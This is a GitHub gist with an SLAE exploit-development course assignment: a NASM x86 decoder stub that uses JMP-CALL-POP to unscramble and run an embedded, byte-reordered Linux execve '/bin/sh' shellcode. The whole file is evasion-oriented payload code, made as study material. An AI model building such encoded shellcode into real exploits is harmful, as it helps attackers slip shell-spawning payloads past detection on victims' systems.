Skip to content

Instantly share code, notes, and snippets.

@michaelnewton
Created May 11, 2017 03:38
Show Gist options
  • Save michaelnewton/e5905d8ce8e680c70fc3018e4d666f13 to your computer and use it in GitHub Desktop.
Save michaelnewton/e5905d8ce8e680c70fc3018e4d666f13 to your computer and use it in GitHub Desktop.
SLAE Assignment #4 - Custom Byte Flip Decoder
; Filename: assignment4-decoder.nasm
; Student ID: SLAE - 895
;
; Purpose: Assignment #4 Custom Byte Flip Decoder
global _start
section .text
_start:
jmp short call_shellcode ;Begins JMP-CALL-POP to get address of EncodedShellcode
decoder:
pop esi ; Puts the address of EncodedShellcode into esi
lea edi, [esi] ; Loads the address into edi
xor eax, eax ; Zero out eax
mov al, 2 ; Set 0x2 in al
xor ebx, ebx ; Zero out ebx
decode:
mov bl, byte [esi + eax] ; move the byte located at edi+eax into bl
xor bl, 0x99 ; Check for the end of the shellcode
jz short EncodedShellcode ; If XOR=zero jump to decoded shellcode and execute
mov bl, byte [esi + eax] ; Move the byte located at edi+eax into bl
mov byte [edi], bl ; Move the byte into position
add al, 2 ; Increment eax by 2
lea edi, [edi + 2] ; Load address of new tmp stack pointer to edi
jmp short decode ; repeat
call_shellcode: ; Shellcode starts with 0x99 and ends with 0x99, 0x99
call decoder
EncodedShellcode: db 0x99, 0xc0,0x31,0x68,0x50,0x2f,0x2f,0x68,0x73,0x2f,0x68,0x69,0x62,0x89,0x6e,0x50,0xe3,0x89,0x53,0xb0,0xe1,0xcd,0xb,0xcd,0x80, 0x99,0x99
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment